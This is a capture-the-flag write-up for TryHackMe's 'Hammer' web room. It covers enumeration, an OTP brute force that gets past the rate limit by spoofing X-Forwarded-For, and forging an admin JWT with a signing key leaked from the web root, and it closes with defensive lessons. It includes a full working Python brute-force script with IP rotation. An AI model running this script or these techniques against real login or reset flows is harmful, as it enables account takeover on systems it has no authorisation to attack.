Platform: TryHackMe
Difficulty: Medium
Category: Web Exploitation
Skills Covered: Web enumeration, rate limit bypass, OTP brute force, JWT manipulation
Overview #
Hammer is a medium difficulty web challenge that takes you through a chain of vulnerabilities on a PHP web application. The attack path flows naturally from reconnaissance all the way through account takeover and privilege escalation via JWT forgery. If you’re looking to sharpen your skills in web app enumeration, authentication bypass, and token manipulation, this one is a great exercise.
The core chain looks like this:
- Enumerate the web app to find a target email address in an exposed log file
- Exploit a weak rate limiting implementation to brute force an OTP reset code
- Log in and discover a command execution panel restricted by JWT role claims
- Forge a new JWT using a key file leaked through the web server itself
Let’s walk through it step by step.
Reconnaissance #
Port Scanning #
Starting with a full port scan using RustScan piped into Nmap for service detection:
└─$ rustscan -a 10.81.153.100 -- -A -oN scan.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Scanning ports faster than you can say 'SYN ACK'
[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.81.153.100:22
Open 10.81.153.100:1337
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -oN scan.txt" on ip 10.81.153.100
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-16 23:04 -0500
Scanned at 2026-02-16 23:04:29 EST for 25s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open http syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTwo ports came back open: SSH on 22 and an Apache web server running on the non standard port 1337.
The HTTP service immediately caught my eye running on a non default port with a login page as the root suggests this is our primary target.
Web Application Enumeration #
We start by running our initial dirsearch direcotry fuzz:

Composer.json: Spotting JWT Usage #
One of the discovered files was composer.json, the PHP dependency manifest. This is always worth checking because it reveals what libraries the app is using.

The entry firebase/php-jwt 6.10 tells us the app is using JWTs for session management or authorization. This is a flag to revisit later.
Source Code Review: Leaking a Directory Convention #
The /dashboard route redirected to index.php. While reviewing the page source, I found a developer note that had been left behind:

The comment leaked the naming convention used for internal directories: a hmr_ prefix.

Also on the login page: a “Forgot your password?” link leading to reset_password.php.

and some visible rate limiting logic around password reset attempts.

Worth noting that resetting the PHPSESSID cookie appeared to reset the rate limit counter. We’ll come back to this.
Vendor Directory: Confirming JWT Library #
Directory listing was enabled on the /vendor path, which exposed the Firebase JWT library files.

Fuzzing with the hmr_ Prefix
#
Armed with the naming convention from the source code comment, I ran ffuf targeting paths with the hmr_ prefix, including .php extensions since this is a PHP app:

This immediately surfaced hmr_logs a directory with listing enabled.
Inside was an error.logs file.

Hmr_logs/error.log: Target Email Found #
Opening the log file revealed application error entries. Buried in those logs was a valid email address: tester@hammer.thm.

This gave us a confirmed account to target for the password reset flow.
Initial Access: OTP Brute Force via Rate Limit Bypass #
Triggering the Password Reset #
With a valid email in hand, I submitted a password reset request for tester@hammer.thm. The app responded with a 4-digit MFA/OTP prompt and a countdown timer of roughly 180 seconds to enter the code.

I instantly thought to brute force this code, since its so short.
10,000 possible codes with 180 seconds on the clock is tight but doable IF we can submit them fast enough. The problem? After 8 attempts, the app rate limited further submissions.
Bypassing the Rate Limit with X-Forwarded-For header #
Rate limiting on web apps is often implemented by tracking the client’s IP address. A common misconfiguration is trusting the X-Forwarded-For header without validating it. If an app naively reads this header to identify clients, an attacker can simply change the header value with each request to appear as a different IP.

Testing this manually in Burp Suite confirmed the behaviour:

Changing the X-Forwarded-For header to a new IP value reset the attempt counter completely.
Automating the Brute Force #
With the bypass confirmed, I wrote a Python script (with the help of Claude Code) to automate the full brute force. The script uses threading to cover all 10,000 codes within the time window, rotating the X-Forwarded-For header to a new random IP every 7 requests to stay under the rate limit threshold.
import requests
import random
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
TARGET = "http://10.82.185.40:1337/reset_password.php"
RATE_LIMIT = 7
THREADS = 10
found = None
def random_ip():
return f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
def try_range(phpsessid, start, end):
global found
session = requests.Session()
session.cookies.set("PHPSESSID", phpsessid)
count = 0
ip = random_ip()
for code in range(start, end):
if found:
return None
otp = str(code).zfill(4)
if count >= RATE_LIMIT:
ip = random_ip()
count = 0
headers = {"X-Forwarded-For": ip}
r = session.post(TARGET, data={"recovery_code": otp, "s": "170"}, headers=headers)
count += 1
if "Invalid or expired recovery code" not in r.text and "4-Digit Code" not in r.text:
found = otp
return otp
return None
def brute_force(phpsessid):
global found
chunk_size = 10000 // THREADS
ranges = [(i, min(i + chunk_size, 10000)) for i in range(0, 10000, chunk_size)]
start = time.time()
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = {executor.submit(try_range, phpsessid, s, e): (s, e) for s, e in ranges}
while not found:
time.sleep(0.5)
elapsed = time.time() - start
sys.stdout.write(f"\r[*] Running {THREADS} threads | {elapsed:.0f}s elapsed")
sys.stdout.flush()
if all(f.done() for f in futures):
break
return found
if __name__ == "__main__":
print("[*] Step 1: Trigger password reset in your browser")
print("[*] Step 2: Copy your PHPSESSID from dev tools\n")
phpsessid = input("Enter PHPSESSID: ").strip()
print(f"\n[*] Brute forcing with {THREADS} threads...\n")
start = time.time()
otp = brute_force(phpsessid)
if otp:
print(f"\n\n[+] FOUND OTP: {otp} in {time.time() - start:.1f}s")
print(f"[*] Auto-submitting to complete the reset...\n")
session = requests.Session()
session.cookies.set("PHPSESSID", phpsessid)
r = session.post(TARGET, data={"recovery_code": otp, "s": "170"}, headers={"X-Forwarded-For": random_ip()})
print(r.text[:2000])
else:
print("\n[-] Exhausted all codes.")The workflow is: trigger the reset in your browser, copy the PHPSESSID cookie, paste it into the script, and let it run. The script needs to reuse the session cookie because the OTP is tied to the server side session that was created when the reset request was submitted. If we create a new cookie each request, the otp will re-generate on each request which we dont want.
The script found the OTP successfully:

With the valid OTP in hand, I submitted it to complete the reset and set a new password for tester@hammer.thm.

Exploitation: JWT Forgery for Privilege Escalation #
Post-Login Discovery #
Logging in with tester@hammer.thm and the new password revealed a dashboard with a command execution panel.

Trying to run something useful, like id, returned a “Command not allowed” error.

To figure out what was allowed, I brute forced the input against a Linux commands wordlist (amitlttwo/All-Wordlists on GitHub). Only one command made it through: ls.

Inspecting the JWT #
Checking the session JWT in DevTools revealed a role claim set to user. The command allowlist is clearly tied to this role. Regular users can only run ls, while admins presumably have more access.

The question is: can we forge a new token with role: admin? To sign a JWT, you need the secret key. Fortunately, running ls through the command panel showed a .key file sitting in the web root.
Retrieving the Signing Key #
Since the .key file was in the web root, it was directly accessible over HTTP. Fetching it gave us the JWT signing secret.

Forging the JWT #
With the signing key in hand, I crafted a new JWT with the role claim changed from user to admin, signing it with the recovered key and specifying the key file path in the header to match what the server expected.

Replacing the session token with the forged JWT and sending a new request with our desired command confirmed the escalation worked:

Capturing the Flag #
With admin privileges now active through the forged token, the command panel accepted more powerful commands, allowing us to retrieve the flag.

Key Takeaways #
Rate limiting that trusts client supplied headers is not real rate limiting. The X-Forwarded-For header is trivially spoofed. Any IP based rate limiting needs to operate on the verified network layer source IP, not a header the client controls. Ideally, rate limits should also be tied to the account being targeted rather than the requesting IP alone.
Exposed log files are a serious information disclosure risk. The hmr_logs/error.log file handed us a valid username with no effort required. Application logs should never be accessible via the web server. Move them outside the web root, or at minimum protect the directory with authentication.
JWT signing keys must never be web-accessible. A key file in the web root is equivalent to leaving the front door unlocked. If an attacker can read your signing key, they can forge any token they want. Keys should be stored outside the web root, in environment variables, or in a secrets manager, never as a static file the web server can serve.
Directory listing should always be disabled in production. Enabled directory listing on /vendor and /hmr_logs exposed the app’s dependency tree and its log files. One line in the Apache config (Options -Indexes) eliminates this class of finding entirely.
Developer comments in production HTML are a gift to attackers. The hmr_ naming convention was handed to us for free via a comment left in the page source. Always strip debug comments from the production codebase before deploying.